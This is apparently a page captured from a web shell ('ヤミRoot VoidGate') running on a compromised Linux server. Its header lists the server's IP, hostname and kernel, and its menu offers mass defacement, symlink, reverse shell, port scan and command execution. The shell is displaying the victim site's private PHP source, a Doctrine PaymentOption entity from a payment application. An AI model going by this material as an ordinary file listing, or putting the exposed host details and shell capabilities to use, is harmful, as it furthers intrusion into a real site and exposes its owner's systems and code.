ヤミRoot VoidGate
User / IP
:
216.73.216.84
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
logercm
/
dev.loger.cm
/
src
/
Entity
/
Viewing: PaymentOption.php
<?php namespace App\Entity; use ApiPlatform\Core\Annotation\ApiResource; use App\Repository\PaymentOptionRepository; use Doctrine\Common\Collections\ArrayCollection; use Doctrine\Common\Collections\Collection; use Doctrine\ORM\Mapping as ORM; /** * @ApiResource() * @ORM\Entity(repositoryClass=PaymentOptionRepository::class) */ class PaymentOption { /** * @ORM\Id * @ORM\GeneratedValue * @ORM\Column(type="integer") */ private $id; /** * @ORM\Column(type="string", length=255) */ private $paymentName; /** * @ORM\Column(type="boolean") */ private $enable; /** * @ORM\Column(type="datetime_immutable") */ private $createdAt; /** * @ORM\ManyToOne(targetEntity=User::class,cascade={"refresh", "merge", "detach"}) */ private $createdBy; /** * @ORM\ManyToOne(targetEntity=MediaObject::class) */ private $picture; /** * @ORM\OneToMany(targetEntity=Payment::class, mappedBy="paymentOption") */ private $payments; /** * @ORM\ManyToOne(targetEntity=Country::class, inversedBy="paymentOptions") */ private $country; /** * @ORM\Column(type="integer", nullable=true) */ private $rOnly; /** * @ORM\ManyToOne(targetEntity=PaymentProvider::class, inversedBy="paymentOptions") * @ORM\JoinColumn(nullable=false) */ private $provider; /** * @ORM\Column(type="boolean", nullable=true) */ private $isCash; public function getId(): ?int { return $this->id; } public function getPaymentName(): ?string { return $this->paymentName; } public function setPaymentName(string $paymentName): self { $this->paymentName = $paymentName; return $this; } public function isEnable(): ?bool { return $this->enable; } public function setEnable(bool $enable): self { $this->enable = $enable; return $this; } public function getCreatedAt(): ?\DateTimeImmutable { return $this->createdAt; } public function setCreatedAt(\DateTimeImmutable $createdAt): self { $this->createdAt = $createdAt; return $this; } public function getCreatedBy(): ?User { return $this->createdBy; } public function setCreatedBy(?User $createdBy): self { $this->createdBy = $createdBy; return $this; } public function getPicture(): ?MediaObject { return $this->picture; } public function setPicture(?MediaObject $picture): self { $this->picture = $picture; return $this; } public function __construct() { $this->createdAt = new \DateTimeImmutable( ); $this->payments = new ArrayCollection(); } public function __toString() { // TODO: Implement __toString() method. return "".$this->getPaymentName(); } /** * @return Collection<int, Payment> */ public function getPayments(): Collection { return $this->payments; } public function addPayment(Payment $payment): self { if (!$this->payments->contains($payment)) { $this->payments[] = $payment; $payment->setPaymentOption($this); } return $this; } public function removePayment(Payment $payment): self { if ($this->payments->removeElement($payment)) { // set the owning side to null (unless already changed) if ($payment->getPaymentOption() === $this) { $payment->setPaymentOption(null); } } return $this; } public function getCountry(): ?Country { return $this->country; } public function setCountry(?Country $country): self { $this->country = $country; return $this; } public function getROnly(): ?int { return $this->rOnly; } public function setROnly(?int $rOnly): self { $this->rOnly = $rOnly; return $this; } public function getProvider(): ?PaymentProvider { return $this->provider; } public function setProvider(?PaymentProvider $provider): self { $this->provider = $provider; return $this; } public function isIsCash(): ?bool { return $this->isCash; } public function setIsCash(?bool $isCash): self { $this->isCash = $isCash; return $this; } }
Coded With 💗 by
0x6ick